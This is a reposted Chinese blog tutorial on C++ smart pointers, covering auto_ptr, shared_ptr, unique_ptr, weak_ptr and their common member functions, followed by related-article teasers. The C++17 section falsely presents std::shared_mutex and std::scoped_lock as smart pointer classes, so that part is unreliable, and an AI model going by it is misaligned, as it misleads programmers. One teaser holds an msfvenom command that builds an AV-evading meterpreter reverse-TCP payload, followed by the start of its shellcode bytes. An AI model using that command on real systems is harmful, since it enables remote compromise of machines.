智能指针简介

news2025/6/24 19:19:12
头图

智能指针简介

文章目录

  • 智能指针简介
    • 摘要
    • 什么是智能指针
    • C++ 98 中的智能指针
    • C++ 11 中的智能指针
    • C++ 17 中的智能指针
    • 智能指针常用函数

关键字: 智能指针auto_ptrstd::shared_ptrstd::unique_ptrstd::weak_ptr

摘要

之前基本都是学习的Qt版本的C++,更多的关注了Qt的语法,而忽略了C++的语法。而且之前的项目基本都是自己一个开发,程序的功能实现都是使用自己熟悉的方式,最近的项目都是多人合作开发,有部分代码是纯C++版本,因为需要掌握和理解代码,所以需要重新学一下C++的语法。要想学好C++,智能指针是一个要不过去的坎,这几篇先研究下C++中的智能指针。

什么是智能指针

智能指针(Smart Pointer)是一种用于管理动态分配的对象的C++类模板。它们提供了自动化的内存管理,可以帮助避免内存泄漏和悬挂指针等常见的错误。

智能指针的主要目标是在对象不再需要时自动释放相关的内存。它们通过在对象上使用引用计数、所有权转移或其他技术来实现这一目标。

在C++中,有几种常见的智能指针类,包括:

  1. std::shared_ptr:实现了共享所有权的智能指针。它可以被多个指针共享,当最后一个指针离开作用域时,关联的资源会被释放。

  2. std::unique_ptr:实现了独占所有权的智能指针。它是独占资源的唯一指针,不能被拷贝,但可以通过移动语义转移所有权。

  3. std::weak_ptr:用于解决std::shared_ptr的循环引用问题。它可以观测一个对象,但不会增加引用计数,也不会阻止对象的销毁。

这些智能指针类提供了更安全和更方便的内存管理方式,可以减少手动管理内存的工作量,并帮助避免内存泄漏和悬挂指针等问题。它们是现代C++中常用的工具之一,推荐在合适的情况下使用。

C++ 98 中的智能指针

在C++98中,有一个名为auto_ptr的智能指针类可用。auto_ptr是C++98标准库中提供的一种简单的智能指针,用于管理动态分配的对象。

auto_ptr的特点是在拷贝时转移所有权,即拷贝后原始指针会被置空,只有一个指针可以拥有资源。这种行为可能导致潜在的问题,因此在C++11中被废弃,并在C++17中被移除。

以下是一个简单的示例,演示了如何使用auto_ptr

#include <iostream>
#include <memory>

int main() {
 std::auto_ptr<int> p1(new int(5));
 std::auto_ptr<int> p2;

 p2 = p1;  // 所有权转移

 std::cout << *p2 << std::endl;  // 输出 5

 return 0;
}

请注意,auto_ptr在拷贝时会转移所有权,因此在上述示例中,p1在赋值给p2后变为空指针。这意味着你不能再使用p1来访问资源。

由于auto_ptr的行为可能导致潜在的问题,建议在C++11及更高版本中使用更安全和更强大的智能指针类,如std::shared_ptrstd::unique_ptr。这些类提供更好的语义和资源管理功能。

C++ 11 中的智能指针

在C++11中,引入了更强大和更安全的智能指针类,包括std::shared_ptrstd::unique_ptrstd::weak_ptr。这些智能指针类提供了更好的语义和资源管理功能,取代了C++98中的auto_ptr

以下是C++11中的智能指针类的简要介绍:

  1. std::shared_ptr:实现了共享所有权的智能指针。它可以被多个指针共享,通过引用计数来跟踪资源的生命周期。只有当最后一个std::shared_ptr离开作用域时,关联的资源才会被释放。

  2. std::unique_ptr:实现了独占所有权的智能指针。它是独占资源的唯一指针,不能被拷贝,但可以通过移动语义转移所有权。当std::unique_ptr离开作用域时,关联的资源会被自动释放。

  3. std::weak_ptr:用于解决std::shared_ptr的循环引用问题。std::weak_ptr可以观测一个对象,但不会增加引用计数,也不会阻止对象的销毁。可以通过std::weak_ptr来获取std::shared_ptr,并在需要时检查对象是否仍然存在。

这些智能指针类提供了更好的内存管理和资源安全性,可以减少内存泄漏和悬挂指针等问题的发生。它们是现代C++中推荐使用的工具,可以大大简化代码并提高程序的可靠性。

C++ 17 中的智能指针

在C++17中,除了C++11中引入的std::shared_ptrstd::unique_ptrstd::weak_ptr之外,还引入了两个新的智能指针类:std::shared_mutexstd::scoped_lock

  1. std::shared_mutex:这是一个用于实现共享互斥锁的类。它提供了读写锁的功能,允许多个线程同时读取共享资源,但只允许一个线程写入共享资源。这对于需要高效地支持并发读取和独占写入的场景非常有用。

  2. std::scoped_lock:这是一个用于管理多个互斥锁的类。它可以一次性锁定多个互斥锁,避免了手动管理多个锁的复杂性和潜在的死锁问题。std::scoped_lock使用了RAII(资源获取即初始化)的原则,确保在作用域结束时自动释放锁。

这些智能指针类的引入进一步增强了C++的内存管理和并发编程能力。它们提供了更高级别的抽象和更安全的资源管理,可以简化代码并提高程序的可靠性和性能。在C++17及更高版本中,推荐使用这些智能指针类来管理资源和处理并发操作。

智能指针常用函数

C++智能指针类(如std::shared_ptrstd::unique_ptrstd::weak_ptr)提供了一系列常用的成员函数来管理和操作指针。以下是一些常用的函数:

  1. get():返回指向托管对象的原始指针。

  2. reset():释放当前指针所管理的对象,并将指针重置为空。

  3. operator*():解引用指针,返回托管对象的引用。

  4. operator->():通过指针访问托管对象的成员。

  5. use_count()(仅适用于std::shared_ptr):返回与当前std::shared_ptr共享对象的指针数量。

  6. unique()(仅适用于std::shared_ptr):检查当前std::shared_ptr是否是唯一拥有对象的指针。

  7. expired()(仅适用于std::weak_ptr):检查与当前std::weak_ptr关联的对象是否已经被销毁。

  8. lock()(仅适用于std::weak_ptr):尝试获取与当前std::weak_ptr关联的std::shared_ptr,如果对象仍然存在,则返回有效的std::shared_ptr,否则返回空的std::shared_ptr

这些函数使得智能指针的使用更加方便和安全。你可以根据具体的需求选择适当的智能指针类,并使用相应的成员函数来管理和操作指针。


博客签名2021

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1086056.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于uniapp的商城外卖小程序

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

【数据结构-栈 二】【单调栈】每日温度、接雨水

废话不多说&#xff0c;喊一句号子鼓励自己&#xff1a;程序员永不失业&#xff0c;程序员走向架构&#xff01;本篇Blog的主题是【单调栈的应用】&#xff0c;使用【栈】这个基本的数据结构来实现&#xff0c;这个高频题的站点是&#xff1a;CodeTop&#xff0c;筛选条件为&am…

python加载shellcode免杀

1、第一个shellcode加载器 import ctypes# msf生成的shellcode&#xff0c;命令&#xff1a;msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost192.168.111.111 lport80 -f py -o shell.py buf b"" buf b"\xeb\x27\x5b\x53\…

[Swift]同一个工程管理多个Target

1.准备 先创建一个测试工程“ADemo”&#xff0c;右键其Target选择Duplicate&#xff0c;再复制一个Target为“ADemo2”。 再选择TARGETS下方的“”&#xff0c;添加一个APP到项目中&#xff0c;这个命名为“BDemo”。 2、管理多个Target 可以对三个target分别导入不同的框…

SEO盲目优化带来的严重后果(警惕过度依赖SEO优化的风险)

SEO&#xff08;SearchEngineOptimization&#xff09;优化是提高网站在搜索引擎中排名&#xff0c;吸引更多流量的重要手段。但是&#xff0c;为了追求更高的排名和流量&#xff0c;很多企业或个人对SEO优化盲目依赖&#xff0c;而忽视了网站的质量与用户体验&#xff0c;这将…

python随手小练5

1、求1-100的累加和&#xff08;终止条件 1-100&#xff09;&#xff08;while和for两种&#xff09; #while循环 count 0 index 0 while index < 100:count indexindex 1 print(count)#for循环 sum 0 for i in range(0,101):sum i print(sum)结果&#xff1a; 5050 2…

Go If流程控制与快乐路径原则

Go if流程控制与快乐路径原则 文章目录 Go if流程控制与快乐路径原则一、流程控制基本介绍二、if 语句2.1 if 语句介绍2.2 单分支结构的 if 语句形式2.3 Go 的 if 语句的特点2.3.1 分支代码块左大括号与if同行2.3.2 条件表达式不需要括号 三、操作符3.1 逻辑操作符3.2 操作符的…

【Java 进阶篇】JavaScript二元运算符详解

JavaScript是一门多用途的编程语言&#xff0c;它支持各种运算符&#xff0c;包括二元运算符。二元运算符用于执行两个操作数之间的操作&#xff0c;这两个操作数通常是变量、值或表达式。在本篇博客中&#xff0c;我们将详细探讨JavaScript的二元运算符&#xff0c;包括它们的…

SpringCloud微服务(简略笔记一)

目录 介绍 ​编辑 认识微服务 单体架构 分布式架构 微服务分析&#xff1a; 分布式架构(SpringCloud微服务) 服务拆分与服务远程调用&#xff1a; 提供者与消费者 微服务治理 Eureka注册中心 操作步骤 Ribbon负载均衡 负载均衡流程 自定义负载均衡策略 饥饿加载 …

手把手改进yolo训练自己的数据(坑洼路面识别)

结果展示 在Pothole Detection数据集上对YOLOv7进行微调的步骤如下&#xff1a; 0 环境配置 if not os.path.exists(yolov7): !git clone https://github.com/WongKinYiu/yolov7.git %cd yolov7 !pip install -r requirements.txt数据集准备&#xff1a; 收集一个专门用于po…

栈的运行算法

一&#xff0c;顺序栈的静态分配 二&#xff0c;顺序栈的动态分配 #include<stdio.h> #include<stdlib.h> #define initsize 5 #define incresize 5typedef struct Sqstack{int *base;int *top;int stacksize; }Sqstack;void InitStack(Sqstack *s){(*s).base(int…

数字孪生技术:新零售的未来之路

随着科技的不断进步&#xff0c;新零售产业正经历着巨大的变革。数字孪生作为一种新兴技术正在加速这一变革的进程。它不仅为新零售企业带来了更高效的运营方式&#xff0c;还为消费者提供了更个性化、便捷的购物体验。那么&#xff0c;数字孪生技术究竟如何在新零售产业中发挥…

选择同步云盘工具?这些值得一试的优秀选择!

对于云盘用户而言&#xff0c;同步功能是影响产品选择的重要因素。在日常办公过程中&#xff0c;我们难免会遇到需要查看文件&#xff0c;但是存储文件的原设备不在身边的情况。这个时候同步云盘的重要性就显现出来了. 同步云盘的优势 文件同步&#xff1a;同步云盘可以将文件…

L05_SpringBoot入门

SpringBoot入门 浅谈Restful风格代码实现(并且通过Apifox进行接口测试[以传入json格式数据为例])首先创建一个SpringBoot项目,pom文件包引入如下下面在新建src创建com.ndky.controller包,然后再在包内创建一个HelloController类编写(一个简易的restful风格的代码)编写GET请求代…

正则表达式基础语法

https://tool.oschina.net/regex 正则表达式&#xff1a;检查、匹配字符串的表达式 单个字符匹配&#xff1a; 有特殊含义的匹配&#xff1a; 多次重复匹配&#xff1a; 限定开头结尾的匹配&#xff1a; 贪婪模式&#xff1a;在满足条件的情况下&#xff0c;尽可能多匹配…

Python算法练习 10.12

leetcode 649 Dota2参议院 Dota2 的世界里有两个阵营&#xff1a;Radiant&#xff08;天辉&#xff09;和 Dire&#xff08;夜魇&#xff09; Dota2 参议院由来自两派的参议员组成。现在参议院希望对一个 Dota2 游戏里的改变作出决定。他们以一个基于轮为过程的投票进行。在每…

MNIST字符识别(C++)

构建网络 采用官方示例的的lenet网络 训练 相关文件都已编译好&#xff0c;下载后执行命令即可 .\caffe-bin.exe train --solver .\lenet_solver.prototxt 识别 #include <caffe/caffe.hpp>#include <opencv2/core/core.hpp> #include <opencv2/highgui/hi…

炒现货白银的最佳时间

天时地利人和是我们进行现货白银投资最关键的因素。天时是指我们因时而动&#xff0c;在适合的时机出击。地利&#xff0c;就是我们对市场的定位&#xff0c;对自己入场的定位有清晰的了解&#xff0c;并且这些位置对我们有利。人和就是指投资者的状态很好&#xff0c;对如何进…

STM32MP157按键中断实验

按键配置 #include "key_it.h" #include "stm32mp1xx_gpio.h" #include "stm32mp1xx_gic.h" #include "stm32mp1xx_exti.h" #include "stm32mp1xx_rcc.h"void key_it_config() {/* RCC使能GPIOF时钟 */RCC->MP_AHB4ENSE…

九章云极DataCanvas公司入选《AIGC产业链北京专精特新企业图谱》

近日&#xff0c;北京市经济和信息化局成功举办AIGC&#xff08;生成式人工智能&#xff09;产业链专精特新企业融通路演活动&#xff0c;并正式发布《AIGC产业链北京市专精特新企业图谱》&#xff08;下称《图谱》&#xff09;。九章云极DataCanvas公司凭借DataCanvas Alaya九…